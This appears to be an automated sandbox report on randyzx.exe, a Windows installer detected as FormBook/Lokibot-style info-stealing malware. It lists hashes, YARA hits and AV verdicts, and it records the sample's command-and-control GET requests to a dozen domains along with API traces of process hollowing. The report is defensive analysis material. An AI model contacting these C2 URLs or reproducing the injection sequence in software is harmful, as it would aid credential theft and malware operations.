popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

randyzx.exe

Malicious Library Admin Tool (Sysinternals etc ...) UPX PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Nov. 12, 2021, 10:22 a.m. Nov. 12, 2021, 10:24 a.m.
Size 596.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 c197f0089f58e99b1bfccf2a7cc35c2a
SHA256 dafe42f172204ac9777c502bf75a2aa9d621c5bba23080815439446f10b74cab
CRC32 2D2807F9
ssdeep 6144:ibE/HUTo6i/cErKHhhqFDAnfvxpvgrEKF/vOhrCAU5nkA9dYC8PYQSrVQA:ib1RwmeF8f5pvgrEKF/GhGA3c3eSht
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file

Name Response Post-Analysis Lookup
www.crispzen.com
A 52.20.84.62
52.20.84.62
www.lapshtop.com
CNAME lapshtop.com
A 182.50.132.242
182.50.132.242
www.7lolsaot.com
www.anngonsaigon.net
A 112.213.89.167
112.213.89.167
www.xn--2qu54i3xs9oc.group
www.xn--2e0br59a7ucquav02b.com
A 183.110.224.48
CNAME xn--2e0br59a7ucquav02b.com
183.110.224.48
www.teamsportsco.com
A 199.59.242.153
199.59.242.153
www.warungbangtejo.com
A 139.162.22.174
139.162.22.174
www.bestmodsforminecraft.com
CNAME bestmodsforminecraft.com
A 198.143.141.58
198.143.141.58
www.feistybubblegum.com
A 67.20.76.187
CNAME feistybubblegum.com
67.20.76.187
www.islands.sbs
A 198.54.117.218
A 198.54.117.216
A 198.54.117.217
CNAME parkingpage.namecheap.com
A 198.54.117.215
A 198.54.117.212
A 198.54.117.210
A 198.54.117.211
198.54.117.215
www.tipseasystarsfavourite.rest
www.melbun.xyz
www.beysconstruction.com
A 174.136.53.234
CNAME beysconstruction.com
174.136.53.234
www.jyyhhx.com
A 165.3.38.204
165.3.38.204
www.golfyouth.com
A 198.54.117.218
A 198.54.117.216
A 198.54.117.217
CNAME parkingpage.namecheap.com
A 198.54.117.215
A 198.54.117.212
A 198.54.117.210
A 198.54.117.211
198.54.117.215
IP Address Status Action
112.213.89.167 Active Moloch
139.162.22.174 Active Moloch
164.124.101.2 Active Moloch
165.3.38.204 Active Moloch
174.136.53.234 Active Moloch
182.50.132.242 Active Moloch
183.110.224.48 Active Moloch
198.143.141.58 Active Moloch
198.54.117.215 Active Moloch
198.54.117.216 Active Moloch
199.59.242.153 Active Moloch
52.20.84.62 Active Moloch
67.20.76.187 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49165 -> 182.50.132.242:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 182.50.132.242:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49165 -> 182.50.132.242:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 199.59.242.153:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 199.59.242.153:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49168 -> 199.59.242.153:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 198.143.141.58:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 198.143.141.58:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49169 -> 198.143.141.58:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 67.20.76.187:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 165.3.38.204:80 -> 192.168.56.101:49176 2400017 ET DROP Spamhaus DROP Listed Traffic Inbound group 18 Misc Attack
TCP 192.168.56.101:49175 -> 67.20.76.187:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49175 -> 67.20.76.187:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 165.3.38.204:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 165.3.38.204:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49176 -> 165.3.38.204:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 174.136.53.234:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 174.136.53.234:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49173 -> 174.136.53.234:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 139.162.22.174:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 139.162.22.174:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49166 -> 139.162.22.174:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 183.110.224.48:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 183.110.224.48:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49167 -> 183.110.224.48:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 198.54.117.215:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 198.54.117.215:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49170 -> 198.54.117.215:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 112.213.89.167:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 112.213.89.167:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49174 -> 112.213.89.167:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 198.54.117.216:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 198.54.117.216:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49171 -> 198.54.117.216:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 52.20.84.62:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 52.20.84.62:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49172 -> 52.20.84.62:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.lapshtop.com/bcwg/?K2JxbH=wUySEiascsr9D8c2BIQ18sSRA5rslpjxBOFBZGfrUsjOddX4oEbTVz81rK/Zkvrysl2nGz8m&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.warungbangtejo.com/bcwg/?K2JxbH=SgvZNObATFMTlqVuCwYU/mNJmciBV7FQPJy+pG8Ix3bN0Yr9DC0NgmdXt3uIaJgFzQeuYxGC&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.xn--2e0br59a7ucquav02b.com/bcwg/?K2JxbH=pQQL7b8PQjIakczZVfg4mf3gCPRS6D9ZOKyzG2tlTN3KO1Rxn8+tZtRSzcCnozU4yNknuL2g&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.teamsportsco.com/bcwg/?K2JxbH=LUVgUL479bIqqk3ORCf1QMU/lNnxalrcAvjpZtsa3xReq2/7WljjEd19Ni9t2KdUDciH5z5N&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.bestmodsforminecraft.com/bcwg/?K2JxbH=u3D9O57RwCU+dLWrlGpeDGeo2M9sMCfwIOXzMY2sfMqkuovEuCTIG9e2+hzC4vBST8+hHSxP&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.islands.sbs/bcwg/?K2JxbH=+v6Ju1bbPEr27rAl6h9Vh6DwdAseF61Q8FTmj5Zf1lbcWVY/FoEI26XDdpmzYlxJa/b1zb2x&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.golfyouth.com/bcwg/?K2JxbH=gzbrkMMotKIa9vgK81aFxhEtS3UImgZxKG0vXI7g/9E5XFoxbTI47wSWmloWf4m2yFzT3vxc&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.crispzen.com/bcwg/?K2JxbH=+/ZIvyxX6kL8jbADP+b36d4ErYI+YhkPQzrXTA1gLmOg2CKdA32GVpkkuHqugibVYpZRA2Vj&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.beysconstruction.com/bcwg/?K2JxbH=/N+etiaYgh4y1AIV/pT1PLv0vE6mOqiJtCGwJr/v9fjPIVjAjiHvqmf2IgKMCPUynu/mdIX8&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.anngonsaigon.net/bcwg/?K2JxbH=wqgILUcZyHa+Z7UtvI0acoklRL2AhWVGWbIreuIdQt/S5jZTqUAJlUqP8Jn8EpWYP6HQfk8g&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.feistybubblegum.com/bcwg/?K2JxbH=hdQFJ8Ir8v5fkgcFd8CzLLrVz37vJgj+NyOD7+70Q0xeWkZLjYckecGpejCZ4HwphARpxocr&DVEh=_6Ll7hO0kB_lC6NP
suspicious_features GET method with no useragent header suspicious_request GET http://www.jyyhhx.com/bcwg/?K2JxbH=JdyfCUB7JR9AgohLYV0K4ZmjilZp8V/GSpHmCvhTfp8k2jVCFDVbT9JcHb7zJEZW9ZQYmuhg&9r=2dRd_npH
request GET http://www.lapshtop.com/bcwg/?K2JxbH=wUySEiascsr9D8c2BIQ18sSRA5rslpjxBOFBZGfrUsjOddX4oEbTVz81rK/Zkvrysl2nGz8m&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.warungbangtejo.com/bcwg/?K2JxbH=SgvZNObATFMTlqVuCwYU/mNJmciBV7FQPJy+pG8Ix3bN0Yr9DC0NgmdXt3uIaJgFzQeuYxGC&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.xn--2e0br59a7ucquav02b.com/bcwg/?K2JxbH=pQQL7b8PQjIakczZVfg4mf3gCPRS6D9ZOKyzG2tlTN3KO1Rxn8+tZtRSzcCnozU4yNknuL2g&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.teamsportsco.com/bcwg/?K2JxbH=LUVgUL479bIqqk3ORCf1QMU/lNnxalrcAvjpZtsa3xReq2/7WljjEd19Ni9t2KdUDciH5z5N&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.bestmodsforminecraft.com/bcwg/?K2JxbH=u3D9O57RwCU+dLWrlGpeDGeo2M9sMCfwIOXzMY2sfMqkuovEuCTIG9e2+hzC4vBST8+hHSxP&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.islands.sbs/bcwg/?K2JxbH=+v6Ju1bbPEr27rAl6h9Vh6DwdAseF61Q8FTmj5Zf1lbcWVY/FoEI26XDdpmzYlxJa/b1zb2x&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.golfyouth.com/bcwg/?K2JxbH=gzbrkMMotKIa9vgK81aFxhEtS3UImgZxKG0vXI7g/9E5XFoxbTI47wSWmloWf4m2yFzT3vxc&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.crispzen.com/bcwg/?K2JxbH=+/ZIvyxX6kL8jbADP+b36d4ErYI+YhkPQzrXTA1gLmOg2CKdA32GVpkkuHqugibVYpZRA2Vj&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.beysconstruction.com/bcwg/?K2JxbH=/N+etiaYgh4y1AIV/pT1PLv0vE6mOqiJtCGwJr/v9fjPIVjAjiHvqmf2IgKMCPUynu/mdIX8&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.anngonsaigon.net/bcwg/?K2JxbH=wqgILUcZyHa+Z7UtvI0acoklRL2AhWVGWbIreuIdQt/S5jZTqUAJlUqP8Jn8EpWYP6HQfk8g&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.feistybubblegum.com/bcwg/?K2JxbH=hdQFJ8Ir8v5fkgcFd8CzLLrVz37vJgj+NyOD7+70Q0xeWkZLjYckecGpejCZ4HwphARpxocr&DVEh=_6Ll7hO0kB_lC6NP
request GET http://www.jyyhhx.com/bcwg/?K2JxbH=JdyfCUB7JR9AgohLYV0K4ZmjilZp8V/GSpHmCvhTfp8k2jVCFDVbT9JcHb7zJEZW9ZQYmuhg&9r=2dRd_npH
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2796
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x739e2000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2796
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x742fc000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00940000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsiE2DF.tmp\momu.dll
file C:\Users\test22\AppData\Local\Temp\nsiE2DF.tmp\momu.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000021c
1 0 0
Process injection Process 2796 called NtSetContextThread to modify thread in remote process 2908
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2003108292
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314096
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000218
process_identifier: 2908
1 0 0
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2912
thread_handle: 0x00000218
process_identifier: 2908
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\randyzx.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\randyzx.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\randyzx.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x0000021c
1 1 0

NtGetContextThread

 thread_handle: 0x00000218
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2908
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000021c
1 0 0

NtSetContextThread

 registers.eip: 2003108292
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314096
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000218
process_identifier: 2908
1 0 0
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKD.37985418
FireEye Generic.mg.c197f0089f58e99b
McAfee RDN/Generic.tfr
K7AntiVirus Riskware ( 00584baa1 )
Alibaba TrojanSpy:Win32/Lokibot.7f4b0144
K7GW Riskware ( 00584baa1 )
Cybereason malicious.89f58e
Arcabit Trojan.Generic.D2439C8A
Cyren W32/Injector.APC.gen!Eldorado
Symantec Packed.Generic.606
ESET-NOD32 a variant of Win32/Injector.EQNE
TrendMicro-HouseCall TROJ_GEN.R002H01K921
Paloalto generic.ml
Kaspersky HEUR:Trojan-Spy.Win32.Noon.gen
BitDefender Trojan.GenericKD.37985418
Avast Win32:PWSX-gen [Trj]
Tencent Win32.Trojan.Androm.Sxed
Ad-Aware Trojan.GenericKD.37985418
Sophos Mal/Generic-S
F-Secure Trojan.TR/Injector.ibvnt
McAfee-GW-Edition BehavesLike.Win32.Generic.hh
Emsisoft Trojan.GenericKD.37985418 (B)
Ikarus Trojan.Win32.Injector
Jiangmin NetTool.FRP.ak
Avira TR/Injector.ibvnt
Kingsoft Win32.Troj.Undef.(kcloud)
Gridinsoft Trojan.Win32.Downloader.sa
Microsoft Trojan:Win32/Lokibot.SISN!MTB
GData Win32.Trojan-Stealer.FormBook.EHM1DI
Cynet Malicious (score: 100)
ALYac Trojan.GenericKD.37985418
MAX malware (ai score=86)
VBA32 TrojanSpy.Noon
Malwarebytes Trojan.Injector
APEX Malicious
Fortinet W32/Injector.EQMU!tr
AVG Win32:PWSX-gen [Trj]